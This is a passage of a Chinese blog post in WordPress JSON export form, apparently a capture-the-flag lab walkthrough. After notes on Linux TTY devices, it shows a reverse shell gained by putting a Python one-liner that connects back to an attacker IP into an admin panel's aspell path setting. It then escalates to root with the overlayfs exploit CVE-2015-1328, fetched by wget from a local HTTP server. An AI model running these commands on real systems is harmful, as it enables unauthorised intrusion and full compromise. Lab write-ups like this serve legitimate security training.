\u7531\u4e24\u4e2a\u90e8\u5206\u7ec4\u6210\uff1a\u4e3b\u8bbe\u5907\uff08master\uff09\u548c\u4ece\u8bbe\u5907\uff08slave\uff09\u3002\u5e94\u7528\u7a0b\u5e8f\u901a\u8fc7\u4e3b\u8bbe\u5907\u4e0e\u7ec8\u7aef\u4f1a\u8bdd\u901a\u4fe1\uff0c\u800c\u4ece\u8bbe\u5907\u5219\u6a21\u4eff\u4f20\u7edf\u7684\u7269\u7406\u7ec8\u7aef\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">TTY \u8bbe\u5907\u6587\u4ef6<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">TTY \u8bbe\u5907\u5728 Linux \u6587\u4ef6\u7cfb\u7edf\u4e2d\u7684\u8868\u73b0\u4e3a\u8bbe\u5907\u6587\u4ef6\uff0c\u901a\u5e38\u4f4d\u4e8e \/dev \u76ee\u5f55\u4e0b\u3002\u5e38\u89c1\u7684 TTY \u8bbe\u5907\u6587\u4ef6\u5305\u62ec\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\/dev\/tty\uff1a\u5f53\u524d\u7ec8\u7aef\u7684\u8bbe\u5907\u6587\u4ef6\u3002<\/li>\n\n\n\n<li>\/dev\/ttyN\uff1a\u865a\u62df\u63a7\u5236\u53f0\u8bbe\u5907\u6587\u4ef6\uff0c\u5176\u4e2d N \u662f\u63a7\u5236\u53f0\u7f16\u53f7\uff08\u4f8b\u5982\uff0c\/dev\/tty1 \u5bf9\u5e94\u7b2c\u4e00\u4e2a\u865a\u62df\u63a7\u5236\u53f0\uff09\u3002<\/li>\n\n\n\n<li>\/dev\/pts\/N\uff1a\u4f2a\u7ec8\u7aef\u8bbe\u5907\u6587\u4ef6\uff0c\u5176\u4e2d N \u662f\u4f2a\u7ec8\u7aef\u7f16\u53f7\u3002<\/li>\n\n\n\n<li>\/dev\/ttyS0\uff1a\u4e32\u53e3\u8bbe\u5907\u6587\u4ef6\uff0c\/dev\/ttyS1 \u5bf9\u5e94\u7b2c\u4e8c\u4e2a\u4e32\u53e3\u8bbe\u5907\uff0c\u4ee5\u6b64\u7c7b\u63a8\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u4f7f\u7528 TTY<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">TTY \u8bbe\u5907\u901a\u5e38\u7528\u4e8e\u547d\u4ee4\u884c\u767b\u5f55\u3001\u6267\u884c\u7cfb\u7edf\u7ba1\u7406\u4efb\u52a1\u7b49\u3002\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u547d\u4ee4\u884c\u5207\u6362\u4e0d\u540c\u7684\u865a\u62df\u63a7\u5236\u53f0\uff0c\u6216\u8005\u901a\u8fc7\u7ec8\u7aef\u6a21\u62df\u5668\u4e0e\u7cfb\u7edf\u4ea4\u4e92\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u4e9b\u5e38\u7528\u7684\u547d\u4ee4\u548c\u914d\u7f6e\u6587\u4ef6\u4e0e TTY \u76f8\u5173\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>chvt N\uff1a\u5207\u6362\u5230\u7b2c N \u4e2a\u865a\u62df\u63a7\u5236\u53f0\u3002\ntty\uff1a\u663e\u793a\u5f53\u524d\u7ec8\u7aef\u7684\u8bbe\u5907\u6587\u4ef6\u8def\u5f84\u3002\n\/etc\/securetty\uff1a\u5b9a\u4e49\u54ea\u4e9b TTY \u8bbe\u5907\u5141\u8bb8 root \u7528\u6237\u767b\u5f55\u3002\nstty\uff1a\u6539\u53d8\u548c\u6253\u5370\u7ec8\u7aef\u884c\u8bbe\u7f6e\u3002<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\u53cd\u5f39shell<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u6211\u4eec\u6267\u884c\u540e\u53d1\u73b0\u65e0\u6cd5\u6210\u529f\uff0c\u662f\u56e0\u4e3a\u5bf9\u65b9\u9700\u8981\u4fee\u6539\u6267\u884cPSpellShell\u3002\u7531\u4e8e\u6211\u4eec\u5df2\u7ecf\u4f7f\u7528\u4e86\u7ba1\u7406\u5458admin\u7528\u6237\u767b\u5f55\u9875\u9762\uff0c\u7531\u4e8e\u4f7f\u7528\u7684\u662fpowershell\u547d\u4ee4\uff0c\u9700\u8981\u5728\u8bbe\u7f6e\u4e2d\u4fee\u6539\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Home \/ -&gt; Site administration \/ -&gt; Plugins \/ -&gt; Text editors \/ -&gt; TinyMCE HTML editor\uff0c\u6765\u5230\u6b64\u5904\uff0c\u4fee\u6539PSpellShell\u7136\u540esave\uff01<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1268\" height=\"750\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-64730a6e-be67-4bbf-8cd9-82376de580ef.png\" alt=\"\" class=\"wp-image-25\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-64730a6e-be67-4bbf-8cd9-82376de580ef.png 1268w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-64730a6e-be67-4bbf-8cd9-82376de580ef-300x177.png 300w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-64730a6e-be67-4bbf-8cd9-82376de580ef-1024x606.png 1024w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-64730a6e-be67-4bbf-8cd9-82376de580ef-768x454.png 768w\" sizes=\"auto, (max-width: 1268px) 100vw, 1268px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540eHome \/ -&gt; Site administration \/ -&gt; server \/ -&gt; system paths<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1278\" height=\"744\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-81f6492d-056a-4602-b7ab-1dfae71c122c.png\" alt=\"\" class=\"wp-image-59\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-81f6492d-056a-4602-b7ab-1dfae71c122c.png 1278w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-81f6492d-056a-4602-b7ab-1dfae71c122c-300x175.png 300w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-81f6492d-056a-4602-b7ab-1dfae71c122c-1024x596.png 1024w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-81f6492d-056a-4602-b7ab-1dfae71c122c-768x447.png 768w\" sizes=\"auto, (max-width: 1278px) 100vw, 1278px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5220\u9664\u539f\u6765\u7684path to aspell\uff0c\u5c06\u4e0b\u884c\u4ee3\u7801\u8f93\u5165path to aspell\u4e2d\u3002\uff08\u5728\u6b64\u4e4b\u524d\u5148\u8fd0\u884cnc\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"648\" height=\"122\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-ad6ac898-d857-4f13-af61-4364d06e51c1.png\" alt=\"\" class=\"wp-image-32\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-ad6ac898-d857-4f13-af61-4364d06e51c1.png 648w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-ad6ac898-d857-4f13-af61-4364d06e51c1-300x56.png 300w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code><kbd>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.11.138\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(&#91;\"\/bin\/sh\",\"-i\"]);'<\/kbd><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fdd\u5b58\u540e\uff0c\u8fdb\u5165\u7f16\u8f91\u5668\uff0c\u70b9\u51fb\u7ea2\u8272\u7bad\u5934\uff0c\u5219\u76d1\u542c\u7684\u7aef\u53e3\u6709\u56de\u663e\uff0c\u6b64\u65f6\u6211\u4eec\u62ff\u5230\u4e86\u9776\u673a\u7684shell<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1539\" height=\"582\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-a2163b22-bdc8-4871-a6bd-ef29b50f8829.png\" alt=\"\" class=\"wp-image-58\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-a2163b22-bdc8-4871-a6bd-ef29b50f8829.png 1539w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-a2163b22-bdc8-4871-a6bd-ef29b50f8829-300x113.png 300w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-a2163b22-bdc8-4871-a6bd-ef29b50f8829-1024x387.png 1024w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-a2163b22-bdc8-4871-a6bd-ef29b50f8829-768x290.png 768w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-a2163b22-bdc8-4871-a6bd-ef29b50f8829-1536x581.png 1536w\" sizes=\"auto, (max-width: 1539px) 100vw, 1539px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u53ea\u6709\u4e00\u4e2a$\u7b26\u53f7\uff0c\u6240\u4ee5\u6211\u4eec\u518d\u6267\u884c\u4e00\u6b21tty\uff0cpython -c 'import pty; pty.spawn(\"\/bin\/bash\")'<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"632\" height=\"143\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-13b48cbb-c68a-41a8-b92d-3f0547d1b82f.png\" alt=\"\" class=\"wp-image-31\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-13b48cbb-c68a-41a8-b92d-3f0547d1b82f.png 632w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-13b48cbb-c68a-41a8-b92d-3f0547d1b82f-300x68.png 300w\" sizes=\"auto, (max-width: 632px) 100vw, 632px\" \/><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u5185\u6838\u63d0\u6743<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u62ff\u5230\u4e86\u9776\u673a\u7684shell\uff0c\u6211\u4eec\u73b0\u5728\u9700\u8981\u67e5\u770b\u4e00\u4e9b\u4fe1\u606f<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"621\" height=\"132\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-f4a612d0-9083-424e-980c-942fd8b8ed8c.png\" alt=\"\" class=\"wp-image-35\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-f4a612d0-9083-424e-980c-942fd8b8ed8c.png 621w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-f4a612d0-9083-424e-980c-942fd8b8ed8c-300x64.png 300w\" sizes=\"auto, (max-width: 621px) 100vw, 621px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u662f\u4f4e\u6743\u9650\u7528\u6237\uff0c\u5e76\u4e14Linux\u5185\u6838\u7248\u672c\u4e3aLinux ubuntu 3.13.0-32<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8c37\u6b4c\u641c\u7d22Linux ubuntu 3.13.0-32 exploit\uff0c\u83b7\u5f97exp\u7248\u672c\uff1a37292\uff0cCVE(CAN) ID: CVE-2015-1328<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u77e5\u8bc6\u70b9\uff08\u8be5\u6f0f\u6d1e\u539f\u7406\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">overlayfs\u6587\u4ef6\u7cfb\u7edf\u662f\u4e00\u79cd\u53e0\u5408\u5f0f\u6587\u4ef6\u7cfb\u7edf\uff0c\u5b9e\u73b0\u4e86\u5728\u5e95\u5c42\u6587\u4ef6\u7cfb\u7edf\u4e0a\u53e0\u52a0\u53e6\u4e00\u4e2a\u6587\u4ef6\u7cfb\u7edf\u3002Linux \u5185\u68383.18\u5f00\u59cb\u5df2\u7ecf\u52a0\u5165\u4e86\u5bf9overlayfs\u7684\u652f\u6301\u3002Ubuntu Linux\u5185\u6838\u5728\u66f4\u65e9\u7684\u7248\u672c\u5c31\u5df2\u52a0\u5165\u8be5\u652f\u6301\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ubuntu Linux\u5185\u6838\u7684overlayfs\u6587\u4ef6\u7cfb\u7edf\u5b9e\u73b0\u4e2d\u5b58\u5728\u4e00\u4e2a\u6743\u9650\u68c0\u67e5\u6f0f\u6d1e\uff0c\u672c\u5730\u666e\u901a\u7528\u6237\u53ef\u4ee5\u83b7\u53d6\u7ba1\u7406\u5458\u6743\u9650\u3002\u6b64\u6f0f\u6d1e\u5f71\u54cd\u6240\u6709\u76ee\u524d\u5b98\u65b9\u652f\u6301\u7684Ubuntu Linux\u7248\u672c\uff0c\u76ee\u524d\u5df2\u7ecf\u53d1\u5e03\u653b\u51fb\u4ee3\u7801\uff0c\u5efa\u8bae\u53d7\u5f71\u54cd\u7528\u6237\u5c3d\u5feb\u8fdb\u884c\u5347\u7ea7\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b64\u6f0f\u6d1e\u6e90\u4e8eoverlayfs\u6587\u4ef6\u7cfb\u7edf\u5728\u4e0a\u5c42\u6587\u4ef6\u7cfb\u7edf\u76ee\u5f55\u4e2d\u521b\u5efa\u65b0\u6587\u4ef6\u65f6\u6ca1\u6709\u6b63\u786e\u68c0\u67e5\u6587\u4ef6\u6743\u9650\u3002\u5b83\u53ea\u68c0\u67e5\u4e86\u88ab\u4fee\u6539\u6587\u4ef6\u7684\u5c5e\u4e3b\u662f\u5426\u6709\u6743\u9650\u5728\u4e0a\u5c42\u6587\u4ef6\u7cfb\u7edf\u76ee\u5f55\u5199\u5165\uff0c\u5bfc\u81f4\u5f53\u4ece\u5e95\u5c42\u6587\u4ef6\u7cfb\u7edf\u76ee\u5f55\u4e2d\u62f7\u8d1d\u4e00\u4e2a\u6587\u4ef6\u5230\u4e0a\u5c42\u6587\u4ef6\u7cfb\u7edf\u76ee\u5f55\u65f6\uff0c\u6587\u4ef6\u5c5e\u6027\u4e5f\u968f\u540c\u62f7\u8d1d\u8fc7\u53bb\u3002\u5982\u679cLinux\u5185\u6838\u8bbe\u7f6e\u4e86CONFIG_USER_NS=y\u548cFS_USERNS_MOUNT\u6807\u5fd7\uff0c\u5c06\u5141\u8bb8\u4e00\u4e2a\u666e\u901a\u7528\u6237\u5728\u4f4e\u6743\u9650\u7528\u6237\u547d\u540d\u7a7a\u95f4\u4e2dmout\u4e00\u4e2aoverlayfs\u6587\u4ef6\u7cfb\u7edf\u3002\u672c\u5730\u666e\u901a\u7528\u6237\u53ef\u4ee5\u5229\u7528\u8be5\u6f0f\u6d1e\u5728\u654f\u611f\u7cfb\u7edf\u76ee\u5f55\u4e2d\u521b\u5efa\u65b0\u6587\u4ef6\u6216\u8bfb\u53d6\u654f\u611f\u6587\u4ef6\u5185\u5bb9\uff0c\u4ece\u800c\u63d0\u5347\u5230\u7ba1\u7406\u5458\u6743\u9650\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e0b\u8f7d\u548c\u4f7f\u7528\u653b\u51fb\u811a\u672c<\/h2>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"623\" height=\"144\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-b5e5b4c7-2067-480f-aab4-c32ccd702443.png\" alt=\"\" class=\"wp-image-37\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-b5e5b4c7-2067-480f-aab4-c32ccd702443.png 623w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-b5e5b4c7-2067-480f-aab4-c32ccd702443-300x69.png 300w\" sizes=\"auto, (max-width: 623px) 100vw, 623px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">kali\u641c\u7d22\u4e0b\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">searchsploit 37292 ---\u641c\u7d22kali\u672c\u5730\u7684exp\u5e93\u4e2d37292\u653b\u51fb\u811a\u672c\u4fe1\u606f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">cp \/usr\/share\/exploitdb\/exploits\/linux\/local\/37292.c \/root\/Desktop\/ ---\u76ee\u5f55\u81ea\u884c\u4fee\u6539<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u83b7\u53d6\u4e00\u4e9b\u57fa\u672c\u4fe1\u606f<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"625\" height=\"208\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-feb9fd71-c83e-435c-9831-a7a18c484bd1.png\" alt=\"\" class=\"wp-image-36\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-feb9fd71-c83e-435c-9831-a7a18c484bd1.png 625w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-feb9fd71-c83e-435c-9831-a7a18c484bd1-300x100.png 300w\" sizes=\"auto, (max-width: 625px) 100vw, 625px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e2a\u9776\u573a\u5728\u679a\u4e3e\u4fe1\u606f\u77e5\u9053\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u65e0\u6cd5\u8fdb\u884cGCC\u7f16\u8bd1\uff0c\u9700\u8981\u6539\u4e0b\u811a\u672c\u4e3acc<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">gedit \/root\/Desktop\/37292.c ---\u6587\u672c\u6253\u5f00<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c143\u884c\u5c06gcc\u6539\u4e3acc ---\u7f16\u5199\u4e0b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u5728\u672c\u76ee\u5f55\u4e0b\u5f00\u542fhttp\u670d\u52a1\uff1apython3 -m http.server 8081<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"498\" height=\"74\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-677691a6-91aa-4eab-8920-b3084523c574.png\" alt=\"\" class=\"wp-image-33\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-677691a6-91aa-4eab-8920-b3084523c574.png 498w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-677691a6-91aa-4eab-8920-b3084523c574-300x45.png 300w\" sizes=\"auto, (max-width: 498px) 100vw, 498px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u77e5\u8bc6\u70b9\uff08\u5f00\u542fhttp\u670d\u52a1\uff09<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">python3 -m http.server 8081\u662f\u4e00\u4e2a\u7528\u4e8e\u5feb\u901f\u542f\u52a8\u4e00\u4e2a\u7b80\u5355\u7684HTTP\u670d\u52a1\u5668\u7684\u547d\u4ee4\uff0c\u9002\u7528\u4e8ePython 3.x\u3002\u5b83\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u542f\u52a8\u4e00\u4e2aWeb\u670d\u52a1\u5668\uff0c\u4f7f\u5f97\u4f60\u53ef\u4ee5\u901a\u8fc7\u6d4f\u89c8\u5668\u8bbf\u95ee\u8be5\u76ee\u5f55\u4e2d\u7684\u6587\u4ef6\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7279\u522b\u6ce8\u610f\uff01\uff01\uff01<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9700\u8981\u4e0b\u8f7d\u7684\u6587\u4ef6\u5fc5\u987b\u5b58\u5728\u4e8eHTTP\u670d\u52a1\u5668\u7684\u6839\u76ee\u5f55\u4e2d\uff0c\u800c\u5f00\u542f\u7684\u670d\u52a1\u5668\u6839\u76ee\u5f55\u662f\u4ee5\u672c\u5730\u5f53\u524d\u7684\u76ee\u5f55\u4e3a\u57fa\u51c6\u7684\uff0c\u6240\u4ee5\u5728\u4e0b\u8f7d\u6587\u4ef6\u524d\uff0c\u8bb0\u4f4f\u5148\u4f7f\u7528\u547d\u4ee4pwd\u67e5\u770b\u5f53\u524d\u76ee\u5f55<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"165\" height=\"54\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-79fcd996-8ee7-4216-ab5e-685d4cc50478.png\" alt=\"\" class=\"wp-image-39\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">wget\u4e0b\u8f7d\u672c\u5730\u7684\u6587\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"572\" height=\"171\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-64f2f373-2834-43b5-ae55-971fda5eec82.png\" alt=\"\" class=\"wp-image-56\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-64f2f373-2834-43b5-ae55-971fda5eec82.png 572w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-64f2f373-2834-43b5-ae55-971fda5eec82-300x90.png 300w\" sizes=\"auto, (max-width: 572px) 100vw, 572px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0b\u8f7d\u5b8c\u6210\u540e\u6267\u884ccc\u7f16\u8bd1<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cc -o exp 37292.c     ---C\u8bed\u8a00\u7684CC\u4ee3\u7801\u7f16\u8bd1\u70b9c\u6587\u4ef6\nchmod +x exp          ---\u7f16\u8bd1\u6210\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u5e76\u8d4b\u6743\n.\/exp                 ---\u70b9\u6760\u6267\u884c<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"504\" height=\"50\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-14650e13-49ec-4860-a0fa-7572c6fb2ac5.png\" alt=\"\" class=\"wp-image-38\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-14650e13-49ec-4860-a0fa-7572c6fb2ac5.png 504w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-14650e13-49ec-4860-a0fa-7572c6fb2ac5-300x30.png 300w\" sizes=\"auto, (max-width: 504px) 100vw, 504px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5df2\u7ecf\u83b7\u53d6\u5230\u4e86root\u6743\u9650\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u6f2b\u6e38\u9776\u673a\u4fe1\u606f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"617\" height=\"261\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-0c3b04f4-0173-4a59-860c-e61bb867cd90.png\" alt=\"\" class=\"wp-image-55\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-0c3b04f4-0173-4a59-860c-e61bb867cd90.png 617w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-0c3b04f4-0173-4a59-860c-e61bb867cd90-300x127.png 300w\" sizes=\"auto, (max-width: 617px) 100vw, 617px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u83b7\u53d6flag<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nmap\u4fe1\u606f\u6536\u96c6 ifconfig\u67e5\u770b\u672c\u5730ip \u67e5\u770b192.168.11.0\u7684\u6240\u6709\u8bbe\u5907 \u53d1\u73b0192.168.11.131\u5f00\u653e\u4e8680 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3],"tags":[2],"class_list":["post-23","post","type-post","status-publish","format-standard","hentry","category-3","tag-2"],"_links":{"self":[{"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/posts\/23","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/comments?post=23"}],"version-history":[{"count":5,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/posts\/23\/revisions"}],"predecessor-version":[{"id":65,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/posts\/23\/revisions\/65"}],"wp:attachment":[{"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/media?parent=23"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/categories?post=23"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/jieyekang.com\/index.php\/wp-json\/wp\/v2\/tags?post=23"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}